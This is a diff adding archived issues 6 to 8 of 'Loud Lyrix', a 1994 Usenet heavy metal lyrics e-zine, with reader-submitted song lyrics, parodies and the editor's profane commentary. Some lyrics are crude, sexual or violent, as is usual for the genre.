Mercy" + + +Blasting our way through the boundaries of Hell +No one can stop us tonight +We take on the world with hatred inside +Mayhem the reason we fight +Surviving the slaughters and killing we've lost +Then we return from the dead +Attacking once more now with twice as much strength +We conquer then move on ahead + +(Chorus:) +Evil +My words defy +Evil +Has no disguise +Evil +Will take your soul +Evil +My wrath unfolds + +Satan our master in evil mayhem +Guides us with every first step +Our axes are growing with power and fury +Soon there'll be nothingness left +Midnight has come and the leathers strapped on +Evil is at our command +We clash with God's angel and conquer new souls +Consuming all that we can + +(Chorus) + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** F E A R O F T H E D A R K ********************** + by I R O N M A I D E N + Album: "Fear Of The Dark" + + + I am a man who walks alone + And when I'm walking a dark road + At night or strolling through the park + + When the light begins to change + I sometimes feel a little strange + A little anxious when it's dark + + Fear of the dark, fear of the dark + I have constant fear that something's + always near + Fear of the dark, fear of the dark + I have a phobia that someone's + always there + + Have you run your fingers down + the wall + And have you felt your neck skin crawl + When you're searching for the light? + Sometimes when you're scared + to take a look + At the corner of the room + You've sensed that something's + watching you + + Have you ever been alone at night + Thought you heard footsteps behind + And turned around and no one's there? + And as you quicken up your pace + You find it hard to look again + Because you're sure there's + someone there + + Watching horror films the night before + Debating witches and folklores + The unknown troubles on your mind + Maybe your mind is playing tricks + You sense, and suddenly eyes fix + On dancing shadows from behind + + Fear of the dark, fear of the dark + I have constant fear that something's + always near + Fear of the dark, fear of the dark + I have a phobia that someone's + always there + + When I'm walking a dark road + I am a man who walks alone + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Just a little sympathetic diddy I came up with to show women, I understand +their strife. -- Author] + +************************* F A D E T O R E D *************************** + by T H E D A V E M A N 2 0 9 4 + Album: "{None}" + (sung to "Fade to Black") + + +Menstruation is a pain, +Chemical changes in your brain. +See the box of tampons, +And you know it's your last one. +Better grab the dishrag, +Before the blood drips down your leg. +It's already past your knee, +By your toes, under your feet. + +Tampax is pettal soft, +Cardboard can rub you raw. +Refuse to use a pad, +Causes leaks and diaper rash. +Just stained my new panties, +Wash 'em in new Tide with bleach. +If that won't clean them by dawn, +To the trash, they'll be gone. + +No one but me can pull the string 'tween my legs. +Push it up there, way deep inside. + +These cramps, it seems, have no point for existance. +Take three Advil, and tell the pain goodbye. +goodbye. + +***************************** T H E E N D ******************************* +Typed by: The Daveman 2094 + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[I'm not exactly sure who the author of this is, or who exactly typed it, +oh well, that's what you get when you find something on Usenet, if the +original author isn't Phillip Wang, then whoever you are, tell me, and +I'll put in a correction. -- Editor] + +[It's pretty bad, but imagine what Hetfield would have written if he had +had a UNIX account? -- Author] + +****************************** E S C A P E ******************************** + by P H I L L I P W A N G + Album: "{None}" + + +Feel no pain, but my life ain't easy +I know I'm my best friend +No one cares that UNIX's so much stronger +I'll use it till the end +To escape from an endless loop +Hit control-c control-c +Can't get caught in the endless circle +Ring of infinity + +Stop jobs on my own, hit control-Z +Account information? I just type "me" +"rn" to read things that they say +"e .profile" is e-mail my own way + +Rape my files and destroy my data +Found my password didn't you? +I don't care now, sys-op's on my side +But I can't e-mail you +Feel my pain with disk quota standards +You know that that ain't right +Log out in my common fashion +I'll login again tonight + +Stop jobs on my own, hit control-Z +Account information? I just type "me" +"rn" to read things that they say +"e .profile" is e-mail my own way + +See them try to shut the mainframe down +No damn way a connection can't be found + +Stop jobs on my own, hit control-Z +Stop jobs on my own, hit control-Z + +***************************** T H E E N D ******************************* +Typed by: {Name Unknown} + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[This one ain't a parody of anything, but I still thought it was pretty +cool and funny, hope ya enjoy... thanks to CUD, that's where I got it +from. -- Editor] + +************** I H A V E S E E N T H E F U T U R E **************** + Satire by ktark@src4src.linet.org + Album: "{None}" + + +I want to be a rebel +I want to fit in +in the new-tech revolution +in the new scheme of things + +I will read Mondo-2000 +and Wired magazines, +I will join a hacker group +and be into that scene + +CHORUS: + +I have seen the future +It is computers and french fries, +CD-ROMS, 3DO and cryptography +with a little mustard on the side + +Crypto-hacker, Compu-rebel +Cyberpunk, yes, those are my names! +I am so bad.. +I just can't believe myself + +I am such a rebel +I write an electronic magazine.. +I'll become so famous and quoted, +you're not gonna believe + +CHORUS: + +I have seen the future +It is computers and french fries, +Virtual Reality, 500 channels +with a little ketchup on the fly + +I am so self assured, +well read and full of grace +that I have the need to wave +my degrees in your face! + +I am such an anarchist +the government is after me.. +for opposing Clipper +and drinking Chinese tea + +CHORUS: + +I have seen the future +It is Computers and french fries, +MUDS, Raves and Cyber-Sex +with a little KY-jelly on the side + +A philantropist, a writer, +glorified and interviewed +worship me now, before +Uncle Sam gets you fooled + +And when I retire +I'll start a consulting firm +In a month I'll make more bucks +than you'll ever earn! + +CHORUS: + +I have seen the future +It is Computers and french fries, +Interactive TV and desktop video +with a some mayo on the fly + +***************************** T H E E N D ******************************* +Typed by: CU-Digest + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok dudes.. that's it, hope you enjoyed the funny parodies we had, hope +you could figure out which song they are taken from!! + +Don't forget to send in all submissions you want me to include in the +'zine... LISTSERV! LISTSERV! LISTSERV! LISTSERV! LISTSERV!!!!! I need one!! + +Coming soon! A reader's poll!!! Watch out for it... results will be posted +three weeks after the poll is run, that's PLENTY of time for you dudes... +but what can I expect! From a bunch of bums like you! :-) + +C-ya + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #6 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-07 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-07 new file mode 100644 index 00000000..3ee61067 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-07 @@ -0,0 +1,605 @@ + + _/ _/_/ _/ _/ _/_/_/ + _/ _/ _/ _/ _/ _/ _/ + _/ _/ _/ _/ _/ _/ _/ + _/ _/ _/ _/ _/ _/ _/ + _/_/_/_/ _/_/ _/_/ _/_/_/ + + + _/ _/ _/ _/_/_/ _/_/_/ _/ _/ + _/ _/ _/ _/ _/ _/ _/ _/ + _/ _/ _/_/_/ _/ _/ + _/ _/ _/ _/ _/ _/ _/ + _/_/_/_/ _/ _/ _/ _/_/_/ _/ _/ + + + + Loud Lyrix, May 3, 1994, Issue # 7 + + +Addresses (Send mail here for subscriptions) +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + +Loud Lyrix is posted weekly to the following newsgroups: + +alt.music +alt.music.alternative +alt.music.hardcore +alt.zines +rec.music.industrial +rec.music.misc +rec.music.reviews + +(BTW. The Editor does not have Usenet access, so all mail from Usenet +people should be send to one of the above addresses or else I will not see +it. Thank You.) + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #7, 5/3/94 +----------------------- + +Whoa!! I am going absolutely INSANE people!! You have no idea how bogged +down I am with fucking HW, Projects, Essays, Labs, Projects, Essays.... did +I mention HW? Holy Shit... it's NEVER been this bad... + +Anyways... sorry to rave like that... but I just threw together this issue +right now, from 4:30 to 6pm .... and I still have more skule shit to do! +But don't despair... hopefully my English teacher will figure out that I +have more than just her fucking class!! + +Ok, that's it from me... no big long speech this week, some of you will +probably be glad for that... hehehee... + +Enjoy people... BTW, All the songs expect for the last 3 are reader +contributions, good response people, check out the parodies... HAHA! L8r. + + +CONTENTS +-------- +Song 1: "I Stand Alone" by Jackyl +Song 2: "Peace Sells, But Who's Buying?!" by Megadeth +Song 3: "Good Friends and a Bottle of Pills" by Pantera +Song 4: "Feeble Screams From Forests Unknown" by Burzum +Song 5: "As The Eternity Opens" by Immortal +Song 6: "Wonder Woman" by The Avatar +Song 7: "Flattery" by Jeroen Tiggelman +Song 8: "Through the Blender" by Philip Wang +Song 9: "Hell's Bells" by AC/DC +Song 10: "Deuce" by Kiss +Song 11: "Be Quick or Be Dead" by Iron Maiden + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ I S T A N D A L O N E ************************** + by J A C K Y L + Album: "{Unknown}" + + +Well every time I move Every step I make +You know I just can't seem to take the right direction + +I'm always wrong I'm never right +Right or wrong There always seems to be a correction + +And I give everything I got +And they take Take Take Take Take everything I'm giving + +My back is tired my legs both ache +In this life there is no cake This life I'm livin' + +CHORUS: +I stand alone today WHY YOU FEEL Don't ask me why I feel +I just know I feel this way WHAT YOU SAY I stand alone today +I stand alone today WHY YOU FEEL Don't ask me why I feel +I just know I feel this way WHAT YOU SAY I stand alone today + +Well you look at me Shake your head +Don't like my hair You're so misled I shit like you do +But the curse is more than on my head +Sometimes I think I'm better off dead It's worse than Voodoo + +And I'm reaching out for help +But it's No No No No No until you give in + +My back's still tired My legs both ache +In this life there is no cake This life I'm livin' + +CHORUS: + +Well they take They take everything I'm givin' +It's a rough life This life I'm livin' +Give me more Give me more I take more everyday +I'm gonna take it till they take Take Take Take +Take Take Take Take me away + +SOLO + +CHORUS: + +I say I--I--I stand alone today I--I--I stand alone today +I say I--I--I stand alone today I--I--I stand alone today +I say I--I-------- + +***************************** T H E E N D ******************************* +Typed by: Jacob L. Gregory + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***** P E A C E S E L L S , B U T W H O ' S B U Y I N G ? ! ****** + by M E G A D E T H + Album: "Peace Sells, But Who's Buying" + + +SPOKEN: +What do you mean I don't believe in God? Talk to Him ev'ryday +What do you mean I don't support your system? +I go to court when I have to +What do you mean I can't get to work on time? Got nothin' better to do +What do you mean I don't pay my bills? What d'ya think I'm broke Huh? + +If there's a way I'll be the first in line +But it better work this time + +SPOKEN: +What d'ya mean I hurt your feelings? I didn't know you had any feelings +What d'ya mean I ain't kind? Uh Just not your kind +What d'ya mean I couldn't be the President of the United States of America? +Tell me somethin' It's still "We the People" Right? + +CHORUS: +Peace Peace sells Peace Peace sells +Peace sells but who's buyin'? Peace sells but who's buyin'? + +CHORUS: + +CHORUS: + +CHORUS: + +***************************** T H E E N D ******************************* +Typed by: Jacob L. Gregory + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*** G O O D F R I E N D S A N D A B O T T L E O F P I L L S *** + by P A N T E R A + Album: "Far Beyond Driven" + + +I fucked your girlfriend last night. +While you snored and drooled, I fucked your love. +She called me daddy, and I called her baby when I +smacked her ass. I called her sugar when I ate +her alive till daylight, and I slept with her all +over me, from forehead to ribcage I dripped her ass. +Sometimes I thought you might be spying, living out some +brash fantasy, but no. you were knocked out. But we were +all knocked out you know. In a way + +I serve to many masters. + +We didn't know you'd break the bottle that the magic +came in to use those jagged shards to slit our wrists +and neck, and you'd do it too, you're that kind of dude +But you wouldn't know what you were doing because +I didn't, your girlfriend could have been a burn +victim, an amputee, a dead body, but god damn I wanted to +fuck + +I'm serving to many masters. + +***************************** T H E E N D ******************************* +Typed by: Sunshine + and: The Pioneer + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*** F E E B L E S C R E A M S F R O M F O R E S T S U N K N O W N *** + by B U R Z U M + Album: "Burzum" + + +Drifting +In the Air +Above a Cold Lake +Is a Soul +>From an Early +Better Age +Gasping for +A Mystic Thought +In Vain... but Who's to Know +Further on Lies Eternal Search +For Theories to Lift the Gate +Only Locks Are Made Stronger +And More Keys Lost as Logic Fades +In the Pool of Dreams the Water Darkens +For the Soul That's Tired of Search +As Years Pass by +The Aura Drops +As Less and Less +Feelings Touch +Stupidity +Has Won too Much +The Hopeless Soul +Keeps Mating + +***************************** T H E E N D ******************************* +Typed by: Hellcrusher + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************** A S T H E E T E R N I T Y O P E N S ***************** + by I M M O R T A L + Album: "Pure Holocaust" + + +In An Hour Of The Night I Hear The Summoning Voices +And Wake From My Funeral Sleep +In Time Before Light In Crypts Of Eternal Deeps +Dust From My Grave Blew Away With The Winds +On A Cryptic Journey Unto The Other Side +Beneath The Mountains And Passed Beyond The Gate Below +Floating Evil Reign With Fear In These Sarcastic Caves +Enlightened Into A Blacker Dark For There Are View In +Darkness +The Light Is Searching To Save The Soul Of Mine +It Is Blind And Cant See The Gate To Immortality +Harnessbells Hail My Soul The Gate Is All I Know +See The Eternity Open +The Light Will Disappear It Was Never Here + +***************************** T H E E N D ******************************* +Typed by: Hellcrusher + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ W O N D E R W O M A N ************************** + by T H E A V A T A R + Parody of "Unforgiven" by Metallica + + +She runs around in shorts, +And skimpy halter tops, +She's always fighting crime, +Her work it never stops. + +Throughout her life the same, +She puts bad guys to shame, +The fight they cannot win, +A pretty dame they see will make them pay, +For their sleazy scuzzy ways, +This woman of such fame, +Of course she has a name...... + +Long black hair, gold head band, +She an justice, hand in hand, +Fighting crime -- all the time, +To this she'll put an end! +Long black hair, gold head band, +She and justice, hand in hand, +There's some hope -- she's got a rope! +So we dubbed her Wonder Woman.... + +***************************** T H E E N D ****************************** +Sent In by: Kain + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************************** F L A T T E R Y ****************************** + by J E R O E N T I G G E L M A N + Parody of "Battery" by Metallica + + +Articulate retention attenuating tension +Weaknesses are tucked away +Mesmerizing fiction, cover-up addiction +Flattery is here to stay + + Benevolence astounding + Sunshine smiles abounding + Cannot stop this flattery + Evasiveness ungrounded + With tolerance confounded + Cannot stand this flattery + + Cannot stand this easy + Flattering society + + Flattery + +Rushing to attention, forestall-your-wish intention +Ever-pending sympathy +Never contradiction, conformity affliction +Bordering on insanity + + Benevolence astounding + Sunshine smiles abounding + Cannot stop this flattery + Evasiveness ungrounded + With tolerance confounded + Cannot stand this flattery + + Cannot stand this weakly + Cowering society + + Flattery + +Reconciling antics, words without semantics +Circle of stupidity +I write these poison pieces, they will when they read this +Smile benignly, flatter me + + With euphemisms lightening + Wrongs they should be fighting + Mean superficiality + Still these things amaze me + Think I'm going crazy + Had to write this parody + + Cannot stand this easy + Parody of equality + + Called PC + +***************************** T H E E N D ******************************* +Sent In by: Kain + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************** T H R O U G H T H E B L E N D E R ******************* + by P H I L I P W A N G + Parody of "Through the Never" by Metallica + + +All that is, was and will be +Chopped up fruit much too big to drink +Time and space never ending +Disturbing thoughts, questions pending +Limitations of methods of containing +Too quick to realize +Obligation to liquify +We hunger, oh gimmie five + All that is, ever + Ever was + Will be ever + Twisting + Turning + Through the blender + +In the fridge, see past the fries +Pursuit of meat no matter where it lies +Gazing up to the shelves in the heavens +On a quest, pasta, raisins +Came to be, how it begun +All alone in the family on the run +1 pm lunch break teasing everyone +Drink it down, lunch done at half past one + All that is, ever + Ever was + Will be ever + Twisting + Turning + Through the blender + +On through the blender +It must go +On through the blender +Out to the +Food digestor +It must go +On through the blender +Forever blender runs + All that is, ever + Ever was + Will be ever + What we eat + Is forever + Twisting + Turning + Through the blender + Blender + +***************************** T H E E N D ******************************* +Sent In by: Kain + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** H E L L ' S B E L L S *************************** + by A C / D C + Album: "Back in Black" + + +I'm a rolling thunder +pouring rain +I'm coming down like a hurricane +My lightnin's flashing +across the sky +you're only young +but you're gonna die + +Prechorus + Won't take no prisoners + won't spare no lives + nobody's putting up a fight + I got my bell + gonna take you to hell + I'm gonna get ya + Satan's get ya + +Chorus + Hell's bells Hell's bells + You got me ringing + Hell's bells + my temperature's high + Hell's bells + +I'll give you black sensations +up and down your spine +If you're into evil (??) +you're a friend of mine +See my white light flashing +as I split the night +cause if good's on the left +I'll stick to the right + +Prechorus + +**************************** T H E E N D ******************************** +Typed by: Lyrics archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************* D E U C E ********************************* + by K I S S + Album: "Kiss" + + +Get up +And get your grandma outta here +Pick up +Old Jim is workin' hard this year +And baby +Do the things he says to do + +Baby, if you're feeling good +And baby if you're feeling nice +You know your man is workin' hard +He's worth a deuce + +Honey +Don't put your man behind his years +And baby +Stop cryin' all your tears +Baby +Do the things he says to do +Do it + +Baby, if you're feeling good +And baby if you're feeling nice +You know your man is workin' hard +He's worth a deuce + +And baby, if you're feeling good +Yes baby if you're feeling nice +You know your man is workin' hard +Yeah + +****************************** T H E E N D ******************************* +Typed by: KISSARMY Members + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************** B E Q U I C K O R B E D E A D ******************* + by I R O N M A I D E N + Album: "Fear Of The Dark" + + + Covered in sinners and dripping + with gilt + Making you money from slime + and from filth + Parading your bellies in ivory towers + Investing our lives in your schemes + and your powers + + You got to watch them - Be quick + or be dead + Snake eyes in heaven - The thief + in your head + You've got to watch them - Be quick + or be dead + Snake eyes in heaven - The thief + in your head... + Be quick! + Or be dead! + Be quick! + Or be dead + + See... what's ruling all our lives + See... who's pulling the strings... + I bet you won't fall on your face... + Your belly will hold you in place + + The serpent is crawling inside of + your ear + He says you must vote for what you + want to hear +Don't matter what's wrong as long as you're + alright + So pull yourself stupid and rob + yourself blind + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +All right, before you go, lemme just remind you of a couple things... + +As you can see, I've started posting to Newsgroups, thanks to Sartre for +helping me find some groups that wouldn't mind being posted to, but I know +for a FACT that there are more groups out there, so just drop me a note if +you find any good ones, and I'll add it to the list.... + +We STILL are not on a LISTSERV, so tell me if you can get one for me. + +And for all you contributors... thanks a lot for your help, but PLEASE, +make sure that you have this when you send in songs: + +The TITLE OF THE SONG +The Title of the album +The Name of the group +And your Name, as you would like it to appear in the 'zine + +Now that ain't too hard is it? + +C-ya + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #7 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-08 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-08 new file mode 100644 index 00000000..3bfe822c --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-08 @@ -0,0 +1,730 @@ +Article 3679 of alt.zines: +Newsgroups: alt.zines +Path: news.cic.net!magnus.acs.ohio-state.edu!math.ohio-state.edu!sdd.hp.com!decwrl!pa.dec.com!generic!terranet.cts.com!lyrix@zoo.toronto.edu +From: lyrix@terranet.cts.com ("G. Filicetti") +Subject: Loud Lyrix #8 +Message-ID: <9405152036.aa15263@generic.UUCP> +Date: Sun, 15 May 94 20:34:46 EDT +X-Received: by usenet.pa.dec.com; id AA27519; Mon, 16 May 94 10:54:35 -0700 +X-Received: from zoo.toronto.edu by inet-gw-3.pa.dec.com (5.65/21Mar94) + id AA10828; Mon, 16 May 94 10:38:01 -0700 +X-Received: from terranet by generic.UUCP id aa15263; 15 May 94 20:36 EDT +X-To: decwrl.dec.com!alt.zines.usenet@zoo.toronto.edu +Lines: 714 + + + .-. .--. .-..-..---. .-. .-..-..---. .-..-..-. + : : : ,. :: :: :: . : : : : :: :: .; :: :: `' : + : : : :: :: :: :: :: : : : `. .': .': : ` ' + : :__ : :; :: :; :: :; : : :__ .' ; : :.`.: :.' `. + :___.'`.__.'`.__.':___.' :___.':_,' :_;:_;:_;:_;:_; + + + Loud Lyrix, May 10, 1994, Issue # 8 + + +Addresses (Send mail here for subscriptions) +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + +Loud Lyrix is posted weekly to the following newsgroups: + +alt.music +alt.zines +rec.music.misc +rec.music.reviews + +(BTW. The Editor does not have Usenet access, so all mail from Usenet +people should be send to one of the above addresses or else I will not see +it. Thank You.) + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #8, 5/10/94 +----------------------- + +I'm back people, this week fortunately, I finished all the shitty school +work I had a little early, so I had more time to work on the 'zine, I hope +you guys like it better this week, just for a little comparison, last +week's issue took about 20 minutes to put together, this week's took about +2 hours. + +Ok, as you may have noticed, last week we started posting the 'zine to +newsgroups. I did post a little warning to each group telling 'em that Loud +Lyrix was about to invade them, and to tell me if they didn't want us xtra +kewl 'bangers around... three newsgroups did indeed reject us, they were +the HARDCORE, INDUSTRIAL and ALTERNATIVE groups... well, I willingly +complied with their demands, and quietly exited. Not that I really care +about these groups, but I did receive some flames for the posting.. and I +REALLY told 'em where to fucking go, flaming me like idiots.. God.. I mean, +what do these people want! I fucking went to the trouble of typing up a +warning, and I still get flamed... oh well, fuck 'em! I've always thought +that the fans of those three genre's in particular are usually major +assholes.. I don't wanna offend anyone, 'cause I know we have a few of you +in our ranks of readers, but most of these fans that I've had contact with, +have always hated metal for no reason in particular, or for some dumb ass +reason like.. "huh huh huh, how can you take guys in lipstick seriously?" +Fuck man.. that's what I really hate... these fuckers are just so outta +touch with modern Heavy Metal that it's not funny.. anyways.. to all you +industrialer's and alternative dudes that are reading this, I'm sorry, but +just the plain fact that you are subscribed to Loud Lyrix proves that you +are beyond the level of these sub-humans... thank you for showing some +intelligence. + +Ok, enough of this nastiness... I have some good news for you all. Loud +Lyrix is now under consideration by the owner of a LISTSERV to be included +on it. I was able to find a local Toronto site for us, and it'll be a +dream come true if we are indeed accepted... I hope that we are. Anyways +if we do get on this LISTSERV, there may be chance that all of you may +have to resubscribe to the 'zine, if there is any other possible way to +circumvent this situation, I will definitely try and find it, but if not, +I just wanna warn you all now, but don't worry, how hard is it to +subscribe to a LISTSERV? + +All right people, I'm just about done talking, or typing as the situation +is, I just wanna tell you all to keep on the look up for some good Usenet +newsgroups for me to start posting to. I'll humor any suggestion, as long +as it's sane.. just check 'em out for me ok? 'Cause I don't have Usenet +access, and I only post the 'zine using the Usenet-by-mail service at +decwrl.dec.com... Ok then guys.. here it is.. our longest Loud Lyrix ever +to make up for last week, clocking in at an unprecedented 713 lines!! + +((Sorry about the delay this week, I don't know what the hell +is wrong with my internet feed site, something is definately +screwed up... I doubt you guyz will even get this issue!)) + +CONTENTS +-------- +Song 1: "Two Little Girls" ("The Eye", Chapter 4) by King Diamond +Song 2: "Into The Convent" ("The Eye", Chapter 5) by King Diamond +Song 3: "Sober" by Tool +Song 4: "Angel of Death" by Slayer +Song 5: "Thrust!" by White Zombie +Song 6: "I Saw Your Mommy...." by Suicidal Tendencies +Song 7: "The Day the World Turned Dayglo" by X-Ray Spex +Song 8: "Peek And Enjoy" by Crash +Song 9: "The Fire Still Burns" by Twisted Sister +Song 10: "Skulls" by The Misfits + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Editor -- I just wanna say sorry for forgetting to include a Chapter of +Kind Diamond's "The Eye" last week in the 'zine. It just completely +slipped my mind, I was in a MAJOR rush to finish the 'zine anyways.. but +don't despair... here's TWO chapters from "The Eye" just to make up for my +mistake] + +Chapter 4, "The Eye", by King Diamond + +********************* T W O L I T T L E G I R L S ********************* + + +One little girl with dirty fingers +Playing with her broken doll +As the other girl is lying +Digging deep into the ground +They seem to play an evil game +A game that doesn't have a name +Both of them are in the ashes +At the stake where witches burn! + +If only they could see beyond, the ground they played on +The girls are laughing still, they think they're having fun +They should be far away, watching the sun go down + +One little girl picked up a necklace +>From the ashes of the witches +It had wings, and then the other +Cried out loud, "Now let me have it!!!" +The other looked without a sigh +Right into the witch's Eye +The kind of horror that she saw +Made her choke for ever more! + +I wish they could have seen, beyond the ground they played on +They would be laughing still, having the best of fun +They would be far away, watching the sun go down + +********************** T O B E C O N T I N U E D ********************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 5, "The Eye", by King Diamond + +********************* I N T O T H E C O N V E N T ********************* + + +Madeleine is running away from herself +Afraid of the shame, she's crying out for help +To be clean again! + +No one cared and no one ever will +Her feelings were not shared, she wants to break the spell +and she's going..... + +Into the convent, a smile on her face +Into the darkness to hide all her sins +Wondering what could go wrong in this place + +Father David: +"Welcome Sister, I'm your Chaplain +Down on your knees, and pray if you please +In this convent I'm your Master +Kiss my Cross now, dearest Sister +In the Name of..." + +Madeleine is running away from herself +As father David said: "At communion you must be undressed" +Why did she go?! + +Into the convent, a smile on her face +Into the darkness to hide all her sins +Wondering what could go wrong in this place + +Father David: +"Come along Sister Madeleine +Unfold your wildest dreams, it's time to join and sing +Let the feast begin" + +That night she awoke to find "The Eye" +On the stone cold floor, Why?, She never ever would know why +But she put it on + +Next day Father David passed away +At communion time +Why, he never ever would know why +But he looked at "The Eye" + +The Eye of the necklace is taking it's toll +Inside the convent a soul will rejoice + +********************* T O B E C O N T I N U E D ********************** 